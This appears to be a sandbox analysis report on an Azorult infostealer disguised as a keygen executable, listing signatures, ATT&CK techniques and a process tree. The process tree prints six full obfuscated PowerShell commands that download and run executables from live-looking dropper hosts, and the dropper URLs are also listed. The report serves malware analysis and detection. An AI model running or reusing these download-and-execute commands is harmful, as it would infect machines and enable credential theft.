azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
38s
max time network
87s
platform
windows7_x64
resource
win7
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (41) — копия.exe

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

11 1632 powershell.exe
13 1632 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

Keygen.exesji.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exesji.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1868 Keygen.exe
2548 sji.exe
2600 FVjhgtresfdbv.exe
2624 NHtrdsaghfDF.exe
2676 sji.exe
2696 NHtrdsaghfDF.exe
2724 FVjhgtresfdbv.exe
Loads dropped DLL 9 IoCs

Processes:

cmd.exepowershell.exesji.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1784 cmd.exe
1632 powershell.exe
1632 powershell.exe
2548 sji.exe
2548 sji.exe
2548 sji.exe
2548 sji.exe
2624 NHtrdsaghfDF.exe
2600 FVjhgtresfdbv.exe

flow	pid	process
11	1632	powershell.exe
13	1632	powershell.exe

pid	process
1868	Keygen.exe
2548	sji.exe
2600	FVjhgtresfdbv.exe
2624	NHtrdsaghfDF.exe
2676	sji.exe
2696	NHtrdsaghfDF.exe
2724	FVjhgtresfdbv.exe

pid	process
1784	cmd.exe
1632	powershell.exe
1632	powershell.exe
2548	sji.exe
2548	sji.exe
2548	sji.exe
2548	sji.exe
2624	NHtrdsaghfDF.exe
2600	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

sji.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 2548 set thread context of 2676	2548	sji.exe	sji.exe
PID 2624 set thread context of 2696	2624	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 2600 set thread context of 2724	2600	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1924 timeout.exe
2032 timeout.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
1924	timeout.exe
2032	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1508	powershell.exe
1632	powershell.exe
1884	powershell.exe
1476	powershell.exe
1876	powershell.exe
1644	powershell.exe
1476	powershell.exe
1876	powershell.exe
1644	powershell.exe
1884	powershell.exe
1632	powershell.exe
1508	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

sji.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

2548 sji.exe
2624 NHtrdsaghfDF.exe
2600 FVjhgtresfdbv.exe

pid	process
2548	sji.exe
2624	NHtrdsaghfDF.exe
2600	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

Keygen.exesji.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1868 Keygen.exe
2548 sji.exe
2600 FVjhgtresfdbv.exe
2624 NHtrdsaghfDF.exe

pid	process
1868	Keygen.exe
2548	sji.exe
2600	FVjhgtresfdbv.exe
2624	NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (41) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 820 wrote to memory of 1784	820	Keygen — копия (41) — копия.exe	cmd.exe
PID 820 wrote to memory of 1784	820	Keygen — копия (41) — копия.exe	cmd.exe
PID 820 wrote to memory of 1784	820	Keygen — копия (41) — копия.exe	cmd.exe
PID 820 wrote to memory of 1784	820	Keygen — копия (41) — копия.exe	cmd.exe
PID 1784 wrote to memory of 1868	1784	cmd.exe	Keygen.exe
PID 1784 wrote to memory of 1868	1784	cmd.exe	Keygen.exe
PID 1784 wrote to memory of 1868	1784	cmd.exe	Keygen.exe
PID 1784 wrote to memory of 1868	1784	cmd.exe	Keygen.exe
PID 1784 wrote to memory of 1916	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1916	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1916	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1916	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1296	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1296	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1296	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1296	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1924	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 1924	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 1924	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 1924	1784	cmd.exe	timeout.exe
PID 1296 wrote to memory of 1644	1296	mshta.exe	powershell.exe
PID 1296 wrote to memory of 1644	1296	mshta.exe	powershell.exe
PID 1296 wrote to memory of 1644	1296	mshta.exe	powershell.exe
PID 1296 wrote to memory of 1644	1296	mshta.exe	powershell.exe
PID 1916 wrote to memory of 1632	1916	mshta.exe	powershell.exe
PID 1916 wrote to memory of 1632	1916	mshta.exe	powershell.exe
PID 1916 wrote to memory of 1632	1916	mshta.exe	powershell.exe
PID 1916 wrote to memory of 1632	1916	mshta.exe	powershell.exe
PID 1784 wrote to memory of 1624	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1624	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1624	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1624	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1184	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1184	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1184	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1184	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 2032	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 2032	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 2032	1784	cmd.exe	timeout.exe
PID 1784 wrote to memory of 2032	1784	cmd.exe	timeout.exe
PID 1184 wrote to memory of 1508	1184	mshta.exe	powershell.exe
PID 1184 wrote to memory of 1508	1184	mshta.exe	powershell.exe
PID 1184 wrote to memory of 1508	1184	mshta.exe	powershell.exe
PID 1184 wrote to memory of 1508	1184	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1476	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1476	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1476	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1476	1624	mshta.exe	powershell.exe
PID 1784 wrote to memory of 1060	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1060	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1060	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1060	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1292	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1292	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1292	1784	cmd.exe	mshta.exe
PID 1784 wrote to memory of 1292	1784	cmd.exe	mshta.exe
PID 1060 wrote to memory of 1884	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 1884	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 1884	1060	mshta.exe	powershell.exe
PID 1060 wrote to memory of 1884	1060	mshta.exe	powershell.exe
PID 1292 wrote to memory of 1876	1292	mshta.exe	powershell.exe
PID 1292 wrote to memory of 1876	1292	mshta.exe	powershell.exe
PID 1292 wrote to memory of 1876	1292	mshta.exe	powershell.exe
PID 1292 wrote to memory of 1876	1292	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (41) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (41) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (41) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1784

C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1868

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Users\Public\sji.exe
"C:\Users\Public\sji.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2548

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2600

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:2724

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2624

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2696

C:\Users\Public\sji.exe
"C:\Users\Public\sji.exe"
6⤵
- Executes dropped EXE
PID:2676

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1296

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1924

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2032

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\4BC0.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

